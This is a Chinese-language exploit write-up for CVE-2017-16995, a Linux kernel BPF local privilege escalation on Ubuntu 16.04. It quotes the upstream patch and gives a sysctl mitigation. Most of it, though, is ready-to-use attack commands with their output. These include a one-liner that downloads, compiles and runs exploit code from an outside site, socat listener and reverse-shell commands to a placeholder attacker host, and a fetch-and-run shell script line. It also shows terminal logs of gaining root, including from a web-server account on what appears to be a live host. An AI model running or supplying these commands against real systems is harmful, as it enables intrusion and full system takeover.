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Ubuntu16.04-0day

漏洞范围： all 4.4 ubuntu aws instances are vulnerable

Jann Horn发现在某些情况下，Linux内核中的Berkeley Packet Filter（BPF）不正确地执行了符号扩展check_alu_op()。本地攻击者可以使用它在系统上进行提权,获取root权限。
bpf: fix incorrect sign extension in check_alu_op()
Distinguish between
BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit)
and BPF_ALU|BPF_MOV|BPF_K (load 32-bit immediate, zero-padded to 64-bit);
only perform sign extension in the first case.

Starting with v4.14, this is exploitable by unprivileged users as long as
the unprivileged_bpf_disabled sysctl isn't set.

Debian assigned CVE-2017-16995 for this issue.

v3:
 - add CVE number (Ben Hutchings)

Fixes: 484611357c19 ("bpf: allow access into map value arrays")
Signed-off-by: Jann Horn <jannh@google.com>
Acked-by: Edward Cree <ecree@solarflare.com>
Signed-off-by: Alexei Starovoitov <ast@kernel.org>
Signed-off-by: Daniel Borkmann <daniel@iogearbox.net>

前提条件：unprivileged_bpf_disabled sysctl未设置

CVE 编号： CVE-2017-16995

注意: 如果不同的内核调整CRED偏移量+检查内核堆栈大小

漏洞测试环境


➜  ~ id

uid=1002(test) gid=1002(test) groups=1002(test)

➜  ~ lsb_release -a                  

Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.3 LTS
Release:	16.04
Codename:	xenial

➜  ~ uname -a

Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

➜  ~

参考解决方案


设置参数“kernel.unprivileged_bpf_disabled = 1”通过限制对bpf（2）调用的访问来防止这种特权升级
___________________________________________________________________________________________________________________________

root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

______________________________________________________________________________________________________________________________

asciicast

Use-Age:


wget -P /tmp http://cyseclabs.com/exploits/upstream44.c &&cd /tmp && gcc -o pwned  upstream44.c && chmod 777 pwned && ./pwned

upstream44.c


sha256sum b71b2317c2f2461f0c25a650c9c6a4dd2399e5d7f800ec19822ba720a574030d

sha1sum d91b5dd8b074dd33bbb6994ab21af4e6279c9098

md5sum f38c046a22fd85e3aab3aa7ea4ef21a4



$ id
uid=1002(test) gid=1002(test) groups=1002(test)

$ wget -P /tmp http://cyseclabs.com/exploits/upstream44.c &&cd /tmp && gcc -o pwned  upstream44.c && chmod 777 pwned && ./pwned
--2018-03-16 17:08:09--  http://cyseclabs.com/exploits/upstream44.c
Resolving cyseclabs.com (cyseclabs.com)... 58.96.20.9
Connecting to cyseclabs.com (cyseclabs.com)|58.96.20.9|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5776 (5.6K) [application/octet-stream]
Saving to: ‘/tmp/upstream44.c.1’

upstream44.c.1                                       100%[==========================================================================>]   5.64k  --.-KB/s    in 0s
2018-03-16 17:08:10 (186 MB/s) - ‘/tmp/upstream44.c’ saved [5776/5776]

task_struct = ffff880065821980
uidptr = ffff880034edbe04
spawning root shell

root@ubuntu:/tmp# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0

利用socat获取一个tty shell

hacker: 监听port

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat file:`tty`,raw,echo=0 tcp-listen:4444

victims：弹带TTY shell 下载编译exp

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:4444

wget -P /tmp http://cyseclabs.com/exploits/upstream44.c &&cd /tmp && gcc -o pwned  upstream44.c && chmod 777 pwned && ./pwned

or you can do that 

sh -c "$(wget http://x.x.x.x/exp.sh -O -)"

参考链接： https://wx.abbao.cn/a/13847-7cd1b6e418fa413b.html

case_for_Hack

➜  ~ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat file:`tty`,raw,echo=0 tcp-li
sten:4444

www-data@vultr:/var/www/html$ su root
Password: 
su: Authentication failure
www-data@vultr:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@vultr:/var/www/html$ /tmp/pwned
task_struct = ffff880078bf9540
uidptr = ffff88007c3b16c4
spawning root shell

root@vultr:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@vultr:/var/www/html#

参考链接

https://access.redhat.com/security/cve/cve-2017-16995

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f

https://security-tracker.debian.org/tracker/CVE-2017-16995

https://usn.ubuntu.com/3523-2/

https://www.securityfocus.com/bid/102288

https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f